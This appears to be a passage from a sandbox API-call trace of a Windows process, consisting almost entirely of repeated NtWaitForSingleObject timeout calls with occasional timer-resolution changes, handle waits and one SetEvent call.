	[0115.515] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.526] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.556] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.567] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.579] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.597] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.611] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.624] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.648] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.659] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.675] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.684] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.726] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.737] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.747] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.767] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.795] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.809] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.821] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.835] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.845] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.872] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.882] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.894] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.905] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.963] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.974] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.987] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.997] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.010] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.019] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.030] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.040] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.053] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.066] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.083] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.096] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.107] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.119] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.130] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.141] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.150] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.164] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.175] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.200] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.213] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.225] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.238] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.251] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.266] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.279] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.290] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.302] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.313] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.325] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.339] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.355] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.367] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.379] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.395] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.407] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.419] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.434] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.462] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.481] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.507] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.520] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.534] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.611] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.676] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.688] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.704] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.721] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.734] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.756] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.775] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.785] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.799] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.819] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.850] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.863] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.876] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.928] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.940] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.951] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.965] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0116.977] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.003] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.015] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.036] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.048] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.108] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.118] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.129] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.141] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.174] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.187] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.200] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.213] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.225] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.238] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.251] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.262] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.273] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.303] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.341] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.358] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.371] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.385] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.407] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.417] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.428] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.439] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.451] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.477] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0117.477] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0117.490] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0117.490] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.514] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.528] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.529] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.530] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.531] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.532] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.533] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.534] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.535] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.536] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.536] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.537] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.539] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.539] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.540] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.542] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.543] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.572] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.591] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.599] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.608] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.609] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.609] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.610] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.612] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.613] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.614] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.624] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.631] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.636] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.641] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.647] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.653] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.657] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.672] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.677] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.681] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.684] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.689] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.696] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.701] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.706] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.727] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.729] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.735] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.740] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.743] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.744] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.771] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.775] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.782] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.786] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.790] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.792] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.794] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.796] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.800] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.812] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.825] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.836] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.861] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.890] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.904] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.915] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.924] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.936] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.948] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.961] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.971] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.983] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0117.998] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.011] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.025] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.052] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.069] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.080] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.110] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.121] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.136] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.146] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.156] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.171] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.184] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.196] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.207] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.219] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.233] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.243] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.258] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.270] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.281] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.292] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.303] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.316] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.327] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.342] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.353] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.365] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.376] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.389] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.404] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.418] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.429] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.441] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.455] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.467] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.480] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.493] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.507] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.522] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.537] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.559] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.572] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.592] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.604] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.638] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.651] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.662] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.686] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.696] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.708] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.724] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.735] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.748] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.761] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.774] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.784] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.797] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.819] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.841] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.860] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.873] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.885] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.897] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.909] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.921] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.937] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0118.937] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0118.937] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0118.937] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0118.943] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0119.031] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0119.033] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0119.035] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0119.209] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0119.211] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0119.212] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0119.213] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0119.215] SetEvent (hEvent=0xb4) returned 1
	[0119.215] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0119.216] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0119.216] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0119.225] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0119.225] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0119.233] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0119.233] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0120.451] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0120.451] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0120.455] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0120.469] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0120.502] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0120.535] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0120.559] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0120.559] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
